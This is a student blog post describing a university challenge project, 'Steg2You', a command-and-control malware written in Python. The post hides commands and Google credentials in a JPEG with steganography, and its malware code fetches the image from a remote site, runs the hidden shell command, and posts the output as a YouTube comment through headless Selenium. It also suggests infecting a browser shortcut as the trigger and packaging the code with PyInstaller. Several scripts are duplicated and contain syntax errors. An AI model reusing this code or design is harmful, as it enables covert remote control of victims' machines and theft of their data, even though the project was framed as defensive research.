top of page

Command & Control (C2)

Logo - FIAP

Faculdade de Informática e Administração Paulista

2020

São Paulo Brazil

As part of the 2020's Challenge, we received a proposal from the client "BlackStorm Security" to develop a research project aimed at the area of information security, more specifically the development of a Command & Control (C2).

Consider it done, this is the FIAP DNA!

Let's go! ↓

What is a Command & Control (C2)?

"A Command And Control (C2 or C&C) attack happens when the attacker infiltrates a system and installs a malware that allows it to send commands remotely to infected devices via a server"  - PCMag

This attack is characterized by indirect communication, that is, where the attacker does not have direct access to the infected device, using intermediary services/devices to send commands and exfiltrate information from the compromised system, and for this reason it is extremely difficult to point the real origin of the attack.

The client:
BlackStorm Security

Founded in 2017 by Alexandre Borges, Blackstorm Security emerges as an alternative in the provision of specialized services in the area of cybersecurity, such as:
 

  • Malware analysis;

  • Reverse engineering;

  • Digital forensic analysis;

  • Threat hunting;

  • Forensics for Android/iOS;

  • Pentesting and privacy.

Understanding the Proposal

The challenge consists of developing a Command & Control type Malware, more specifically focusing on indirect and stealthy communication, so that it goes unnoticed by the network of the hypothetical target. For this, some assumptions were given, such as:

  • The presentation should be based on a startup created by the students;

  • It will not be necessary to define an infiltration/infection method on the target machine;

  • The language used is freely chosen by the students;

The project aims to propose new forms of stealth communication that can be used by attackers, and can thus be used to mitigate such action vectors, promoting a safer environment. The full proposal can be accessed below:

This is an especially challenging proposition for FIAP Network students:

In addition to the concepts addressed in the course, it will be necessary to deepen knowledge related to software development, in addition to exercising creativity to propose ways to infiltrate the system. By understanding the mind of an attacker, we will be better prepared to defend ourselves.

Reconhecimento

Steg2You

The idea is to use the technique of steganography to hide in an image the commands that will be executed by the malware, as well as the other information necessary for the correct functioning of the exploit.

"Steganography (from the Greek for "hidden writing") is the study and use of techniques to hide the existence of a message within another, a form of security by obscurantism. The first recorded use of the word dates back to the year 1499, in the book Steganographia , by Johannes Trithemius."  - wikipedia

"But why an image?"

Images are resources that are widespread on the internet, being available on almost any modern website during loading. Who would suspect a "simple jpeg", right?

In this case, we opted for LSB (Less Significant Bit) Steganography, but to understand what that means and how the commands will be hidden within a common image, we need to understand some concepts.

Understanding RGB:
How is the color of a pixel formed?

The RGB system is composed of a combination of the colors Red (Red), Green (Green) and Blue (Blue) which, mixed in different proportions, can generate approximately 16 million colors.

The proportion of each color is defined by a value that can vary from 0 to 255, this value consisting of 8 bits, each bit having an individual value of 0 or 1, being then 2 [possibilities] ^ 8 (bits) , totaling 256 different combinations for each of the RGB colors (0 to 255).


In the example below, the orange hue is formed by 218, 113, 83 (red, green and blue, respectively):

Steg_RGB_Expained.png

Each bit has its own weight in the resulting color, with its significance increasing from right to left, the last bit on the left being therefore the most significant (highest weight).

A good way to understand this would be to compare the position of the bits with the position of the numbers that make up a monetary value - the further to the left the change, the more impact it will have on the value. Take, for example, the value of R$ 10.00 - the Changing the value of the leftmost digit can double, triple or even reset the value.

R$00.00
R$10.00
R$20.00
R$30.00
As with monetary values, the leftmost number is the most significant, that is, it has the greatest impact when changed.

Likewise, change the last digit on the right (less significant), practically does not change the  value - It can be said that 10.01 is still, in practice, 10 reais.

And our idea is to do just that: change just "the cents" of the pixels, so that the difference in color is imperceptible, but the malicious message is there, ready to be extracted and interpreted by our malware.

Modifying Images

Now that we understand the concept of LSB Stenography, let's see how we could use these small modifications to stealthily insert messages into our images.

As you may have noticed, we are limited to writing zeros and ones (binary system), so we will have to translate the information we want to insert, in this case the character 'A', to the binary system and, for that, we will use the ASCII table:

"American Standard Code for Information Interchange (ASCII, pronounced [áski]) is a system of representing letters, numbers, punctuation and control marks by means of a coded signal in the form binary code (bit strings formed by several 0's and 1's), developed from 1960 onwards, which represents a set of 128 signs: 95 graphic signs (letters of the Latin alphabet, Arabic numerals, punctuation marks and mathematical signs) and 33 control signals, using 7 bits to represent all its symbols." -Wikipedia - ASCII

Observing the ASCII table we verify that the binary representation of 'A' is '0100 0001':

ASCII_Table.jpg

Below you can see an example of how it would be to camouflage the character 'A' (0100 0001) within 3 pixels, modifying only the least significant bit of each block, as explained earlier:

Steg_bits_explained.png

Of course, we'll need to know which pixels were modified so that the message can be retrieved later, but we won't have to worry about that thanks to the library "Stegano", a project developed in Python!

Below is an example of how to insert a message and an image using this library.

Stegano - Example.py

from stegano import exifHeader ## Dependency for JPG

secretmsg = "Welcome to pauloctech.com.br!"

secret = exifHeader.hide(".\img_original.jpg",".\img_mod.jpg", secret_message=secretmsg)

## Revealing the hidden content in the image ##

print(exifHeader.reveal(".\img_modificado.jpg"))

I recommend reading the documentation to understand how to install the library and its application, as the example above only covers "jpg" and "tiff" images. 

Steg2You

Attack's Diagram

Now that we understand the concepts of stegangoraphy, RGB and how we can hide messages in images, let's approach the diagram of how this attack will work.

Requirements:

  1. Have a website/service where your image will be stored. An S3 bucket on AWS? A legitimate third-party site that you have previously compromised? In our case, we will use a fake Google support page, hosted on Google Sites;
     

  2. The site/service in question cannot compress/convert/resize the images, as the technique is sensitive to this type of change, that is, the image must remain original;
     

  3. A Youtube channel with a privately hosted video (only those with the link will be able to watch it), so that it is possible to receive possible information extracted from the target;
     

  4. A fake Google account so our malware can authenticate and post the comment on our video;

Steg2You_Diagrama.png

tap image to expand

  1. The attacker will modify an image hosted on our compromised website, adding the information necessary for the malware to carry out the attack. In our case, the following information will be required: Google login, Google password, video link and the command to be executed;
     

  2. The attack will start when the victim opens the browser to access the internet;
     

  3. The malware will make a request on our website, looking for the modified image to extract information and execute commands;
     

  4. After executing the ordered tasks, if the command has any return, it will be sent in the form of a comment to a video hosted on the channel maintained by the attacker;
     

  5. When the attacker finds it convenient, he will search this video to view the information extracted from the victim, without ever having made direct access to the compromised machine (Command & Control).

Modifying
the target image

With our fake Google website created, the image that we will use to insert our commands will be the company logo, located in the upper left corner of the page:

Google_Site.png

We will use the script below to enter the necessary information:

Steg2You - Encrypt.py

fromsteganoimportexifHeader## Dependency for JPG


#linkVideo = 'https://www.youtube.com/watch?v=uL-lzPdg-Cc'
linkVideo = https://accounts.google.com/signin/v2/identifier?

          _cc781905-5cde-3194 -bb3b-136bad5cf58d_ service=youtube&uilel=3&passive=true&continue=https%3A%2F%2F

          _cc781905-5cde-3194 -bb3b-136bad5cf58d_ www.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app

          _cc781905-5cde-3194 -bb3b-136bad5cf58d_ %3Ddesktop%26hl%3Dpt%26next%3D%252Fwatch%253Fv%253DuL-lzPdg-

          _cc781905-5cde-3194 -bb3b-136bad5cf58d_ Cc&hl=pt-BR&flowName=GlifWebSignIn&flowEntry=ServiceLogin'

'

command ='date /t'
loginGoogle ='pwned@gmail.com'
passwordGoogle ='pauloctech@combr'

secretmessage ="%s*%s*%s*%s*" %(linkVideo, command, loginGoogle, passwordGoogle)

print(secret message)

secret = exifHeader.hide("google.jpg","google_mod.jpg", secret_message=secretmessage)

## Dependency for JPG

fromsteganoimportexifHeader


#linkVideo = 'https://www.youtube.com/watch?v=uL-lzPdg-Cc'
linkVideo = https://accounts.google.com/signin/v2/identifier?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2F

www.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app

%3Ddesktop%26hl%3Dpt%26next%3D%252Fwatch%253Fv%253DuL-lzPdg-

Cc&hl=en-US&flowName=GlifWebSignIn&flowEntry=ServiceLogin'

'

command ='date /t'
loginGoogle ='pwned@gmail.com'
passwordGoogle ='pauloctech@combr'

secretmessage ="%s*%s*%s*%s*" %(linkVideo, command, loginGoogle, passwordGoogle)

print(secret message)

secret = exifHeader.hide("google.jpg","google_mod.jpg", secret_message=secretmessage)

Notes:

1. Notice that instead of providing the video link directly, I used a login redirect URL. This is necessary so that it is possible to login before posting a comment on the target video.

To get this link, just access the video in an incognito tab and try to comment, Youtube will redirect you to the link above.

2. The information that will be added to the image is a composition of all the necessary data (login, password, link and command), all in a single line of text (string). When this information is extracted by our Malware, it will be necessary to separate them again and for that I used a '*' to delimit where each piece of information starts and ends.

caractere_delimitador.png

tap image to expand

Can you tell which is the original image and which is the modified one?

Google_Logo_Original.jpg
google_mod.jpg

The script below can be used to confirm that the content was actually inserted into the image:

Steg2You - Decrypt_Local.py

fromsteganoimportexifHeader## Dependency for JPG


# Receiving and converting the Bytes object into a String with the .decode() method
extracted = exifHeader.reveal("image.jpg").decode('ASCII')

# Separating information by separator "*"

'

videoLink =extracted.split("*")[0]
rawCommand =extracted.split("*")[1]
googleLogin =extracted.split("*")[2]

googlePassword =extracted.split("*")[3]

# Printing information for simple checking

command = rawCommand

print(command)

print(videoLink)

print(googleLogin)

print(googlePassword)

fromsteganoimportexifHeader## Dependency for JPG


# Receiving and converting the Bytes object into a String with the .decode() method
extracted = exifHeader.reveal("image.jpg").decode('ASCII')

# Separating information by separator "*"

'

videoLink =extracted.split("*")[0]
rawCommand =extracted.split("*")[1]
googleLogin =extracted.split("*")[2]

googlePassword =extracted.split("*")[3]

# Printing information for simple checking

command = rawCommand

print(command)

print(videoLink)

print(googleLogin)

print(googlePassword)

Now just host your image on the target service, in my case, the fake Google site. 

Creating

our malware

It's time to hands-on, below is the malware code, with comments on each snippet and its functionality.

The code consists of the following steps:

 

  1. Import required dependencies;

  2. Indicate where the modified image is stored (web address);

  3. Download the image and process it (store);

  4. Extract the information entered through steganography;

  5. Treat the extracted information, since all were added in a single string;

  6. Execute the commands obtained through the previous steps;

  7. Store return of executed commands;

  8. Perform the return of executed commands through a comment on a youtube video.

This last step can be the most complicated part, due to the process of identifying and referencing the web elements we want to interact with (buttons, text boxes, etc).

To reference in our code the objects with which we want to interact, it will be necessary to obtain an identifier. We have some options like XPATH (XML Path Language), id or css selector. Regardless of what information you will use to reference the elements, we can obtain all of them through the Google Chrome DevTools (F12), as shown below:

DevTools_1.jpg

Using the page above as an example, I'll show you how to identify an element so you can interact with it in your code using Selenium. The first step is to press the F12 key so that the DevTools (browser console) is displayed:

With DevTools open, you can now view a number of tools. The tool that will help us to identify the elements will be "Inspect", indicated by a small arrow in the upper left corner of the console:

When clicking on this tool and dragging the mouse across the page, the elements will be highlighted and when clicking directly on one of these components, the console will highlight the corresponding code snippet:

Now just right-click on the code snippet in question, navigate to the "Copy" option and copy the desired reference (Ex: XPATH):

With that cleared up, let's get to the code:

Dependencies Caption:
 

[1]OS - Micellaneous Operating System Interfaces -  This module offers features related to the operating system, such as opening files, manipulating paths, etc;

[2]Selenium WebDriver - Selenium dependencies, module used to automate interactions with the browser, widely used in automated tests;

[3]By [Selenium] - Used to wait for elements of web pages to load (1);

[4]Keys [Selenium]- Used to send keys to the browser (WebDriver);

[5]WebDriverWait [Selenium] - Used to wait for elements of web pages to load (2);

[6]Expected Conditions [Selenium] - Used to wait for elements of web pages to load (3);

[7]Options [Selenium] - Used to configure WebDriver options, such as headless mode (no visible graphical interface);

[8]ActionChains [Selenium]- Used to send low-level interactions, such as mouse movements, mouse button actions, sending certain keys, among others;

[9]exifHeader [Stegano] - Dependency used to manipulate .jpeg images;

[10]requests- http library, used to request/load web pages;

[11]shutil - Module for high-level operations involving files;

[12]imghdr - Module used to determine the type of image of a file;

[13]check_output [subprocess]- Used to send and receive the return of commands executed in the operating system.

Steg2You - Steg2You.py

import os # [1]

fromselenium import webdriver # [2]

from selenium.webdriver.common.by import By # [3]

fromselenium.webdriver.common.keys import Keys # [4]

fromselenium.webdriver.support.wait import WebDriverWait # [5]

fromselenium.webdriver.support import expected_conditionsat EC # [6]

fromselenium.webdriver.chrome.options import Options # [7]

fromselenium.webdriver.common.actions_chains import ActionChains # [8]

fromsteganoimportexifHeader# [9]

from requests # [10]

import shutil # [11]

import imghdr # [12]

from subprocess import check_output # [13]


# Setting the URL and name of the image
image_url ="[URL OF YOUR IMAGE HERE]"

filename = image_url.split ("/")[-1]

# Open image URL
r = requests.get(image_url,stream true)

# Check if the Request was successful (status code == 200)

if r.status_code == 200:

   # Set the value of decode_content to  True, otherwise the downloaded image will have zero size

   r.raw.decode_content = true

   

   # Open a local file with wb (binary write) permission

   withopen(filename, 'wb')at f:

      shutil.copyfileobj(r.raw), f)

   # Check file type by header and add extension

   extension = (imghdr.what(filename))

   new_filename = '%s.%s'% (filename, extension)

   try:

      os.rename(filename, new_filename)

   except WindowsError:
      os.remove(new_filename)

      os.rename(filename, new_filename)

   print('Download successful: ',  new_filename)

else:

   print('Unable to download')

 

##### Decrypt JPG #####

# The 'decode' method converts objects in 'bytes' to 'string'

extracted = exifHeader.reveal(new_filename).decode('ASCII')

# Separating the information received by the separator '*'


videoLink = extracted.split("*")[0] 

rawCommand = extracted.split("*")[1]

googleLogin = extracted.split("*")[2]  

googlePassword = extracted.split("*")[3] 

# Executing the commands at the prompt and storing the return in the 'commandReturn' variable


commandReturn = check_output(rawCommand, shell=true).decode("ASCII")

print(commandReturn)

##### ChromeDriver/Selenium Configuration #####

#####  Recommended to read documentation to view available options #####

 

Options = Options()

options.headless = true

options.add_argument("--window-size=1920x1080")

options.add_argument("disable-extensions")

options.add_argument("--in-sandbox")

options.add_argument("--start-maximized")

options.add_argument("--disable-gpu")

options.add_argument("--allow-insecure-localhost")

options.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36')

options.add_argument("--enable_javascript")

options.add_argument("--disable-web-security")

options.add_argument("--log-level=3")

options.add_experimental_option('excludeSwitches', ['enable-loggin'])

# Create a 'driver' object based on the options defined for our ChromeDriver/Selenium

driver = webDriver.Chrome(options=options)

# Hit the link provided in the target image

driver.get(videoLink)

##### Login #####

# Inserting the user

userNameField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, 'identifierID')))

userNameField.send_keys(googleLogin)

# Clicking the Next button

AdvanceButton = driver.find_element_by_xpath('//*[@id="identifierNext"]/div/button/div[2]')

AdvanceButton.click()

# Entering the password

passwordField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'input[type='password']'

passwordField.send_keys(googlePassword)

# Clicking the login button

loginButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '/*[@id="passwordNext"]/div/button/div[2]'

loginButton.click()

# Stop video autoplay

driver.execute_script('videos = document.querySelectorAll("video"); for(video of videos) {video.pause()}')

# Returning to the default context

driver.switch_to.default_content()

# Scrolling the page by sending the PageDown key

actions = ActionChains(driver)

actions.send_keys(Keys.PAGE_DOWN)

actions.perform()

##### Post a comment #####

# Clicking on the comment box

commentTextBox = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "simplebox-placeholder")))

commentTextBox.click()

# Wait for the element that actually receives the text

textArea = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "contenteditable-root")))

# Wait for the submit button to be visible and click

sendButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "submit-button")))

sendButton.click()

# Terminate the ChromeDriver/Selenium instance

driver.close()

import os # [1]

fromselenium import webdriver # [2]

from selenium.webdriver.common.by import By # [3]

fromselenium.webdriver.common.keys import Keys # [4]

fromselenium.webdriver.support.wait import WebDriverWait # [5]

fromselenium.webdriver.support import expected_conditionsat EC # [6]

fromselenium.webdriver.chrome.options import Options # [7]

fromselenium.webdriver.common.actions_chains import ActionChains # [8]

fromsteganoimportexifHeader# [9]

from requests # [10]

import shutil # [11]

import imghdr # [12]

from subprocess import check_output # [13]


# Setting the URL and name of the image
image_url ="[URL OF YOUR IMAGE HERE]"

filename = image_url.split ("/")[-1]

# Open image URL
r = requests.get(image_url,stream true)

# Check if the Request was successful (status code == 200)

if r.status_code == 200:

   # Set the value of decode_content to  True, otherwise the downloaded image will have zero size

   r.raw.decode_content = true

   

   # Open a local file with wb (binary write) permission

   withopen(filename, 'wb')at f:

      shutil.copyfileobj(r.raw), f)

   # Check file type by header and add extension

   extension = (imghdr.what(filename))

   new_filename = '%s.%s'% (filename, extension)

   try:

      os.rename(filename, new_filename)

   except WindowsError:
      os.remove(new_filename)

      os.rename(filename, new_filename)

   print('Download successful: ',  new_filename)

else:

   print('Unable to download')

 

##### Decrypt JPG #####

# The 'decode' method converts objects in 'bytes' to 'string'

extracted = exifHeader.reveal(new_filename).decode('ASCII')

# Separating the information received by the separator '*'


videoLink = extracted.split("*")[0] 

rawCommand = extracted.split("*")[1]

googleLogin = extracted.split("*")[2]  

googlePassword = extracted.split("*")[3] 

# Executing the commands at the prompt and storing the return in the 'commandReturn' variable


commandReturn = check_output(rawCommand, shell=true).decode("ASCII")

print(commandReturn)

##### ChromeDriver/Selenium Configuration #####

#####  Recommended to read documentation to view available options #####

 

Options = Options()

options.headless = true

options.add_argument("--window-size=1920x1080")

options.add_argument("disable-extensions")

options.add_argument("--in-sandbox")

options.add_argument("--start-maximized")

options.add_argument("--disable-gpu")

options.add_argument("--allow-insecure-localhost")

options.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36')

options.add_argument("--enable_javascript")

options.add_argument("--disable-web-security")

options.add_argument("--log-level=3")

options.add_experimental_option('excludeSwitches', ['enable-loggin'])

# Create a 'driver' object based on the options defined for our ChromeDriver/Selenium

driver = webDriver.Chrome(options=options)

# Hit the link provided in the target image

driver.get(videoLink)

##### Login #####

# Inserting the user

userNameField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, 'identifierID')))

userNameField.send_keys(googleLogin)

# Clicking the Next button

AdvanceButton = driver.find_element_by_xpath('//*[@id="identifierNext"]/div/button/div[2]')

AdvanceButton.click()

# Entering the password

passwordField = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'input[type='password']'

passwordField.send_keys(googlePassword)

# Clicking the login button

loginButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '/*[@id="passwordNext"]/div/button/div[2]'

loginButton.click()

# Stop video autoplay

driver.execute_script('videos = document.querySelectorAll("video"); for(video of videos) {video.pause()}')

# Returning to the default context

driver.switch_to.default_content()

# Scrolling the page by sending the PageDown key

actions = ActionChains(driver)

actions.send_keys(Keys.PAGE_DOWN)

actions.perform()

##### Post a comment #####

# Clicking on the comment box

commentTextBox = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "simplebox-placeholder")))

commentTextBox.click()

# Wait for the element that actually receives the text

textArea = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.ID, "contenteditable-root")))

# Wait for the submit button to be visible and click

sendButton = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "submit-button")))

sendButton.click()

# Terminate the ChromeDriver/Selenium instance

driver.close()

Now that we have our malware programmed, how will it be triggered?

The idea is to infect a browser's shortcut, which, when launched, will be responsible for triggering the malicious software. This can be done in a few ways (batch, vbs, etc), use your creativity!

Check out how this project was presented below:

Opportunities
of improvements

Although interesting, the proposal has its limitations and even within these limitations, it is possible to make several improvements, such as:

  • Encrypt the command return before posting it to the YouTube comment;

  • Turn our Python code into an executable using the PyInstaller;

And with that we come to the end of the post, thanks for reading this far ;)

See you guys in the next one!

Programação
bottom of page